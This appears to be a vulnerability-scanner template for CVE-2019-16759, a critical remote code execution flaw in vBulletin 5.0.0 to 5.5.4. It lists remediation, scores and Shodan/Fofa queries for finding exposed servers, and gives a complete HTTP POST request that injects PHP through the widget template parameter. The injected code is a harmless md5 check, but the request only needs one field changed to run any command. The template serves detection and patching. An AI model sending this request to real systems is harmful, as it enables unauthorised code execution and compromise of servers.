| Title | vBulletin 5.0.0-5.5.4 - Remote Command Execution |
|---|---|
| Author | madrobot |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system. |
| Remediation | Upgrade vBulletin to a version that is not affected by CVE-2019-16759. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94407 |
| CVE ID | CVE-2019-16759 |
| CWE ID | CWE-94 |
| Shodan Query | http.component:"vBulletin"http.html:"powered by vbulletin"http.component:"vbulletin"http.title:"powered by vbulletin"cpe:"cpe:2.3:a:vbulletin:vbulletin" |
| Fofa Query | body="powered by vbulletin"title="powered by vbulletin" |
| Tags | cve cve2019 rce kev seclists vbulletin vkev vuln |
vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B
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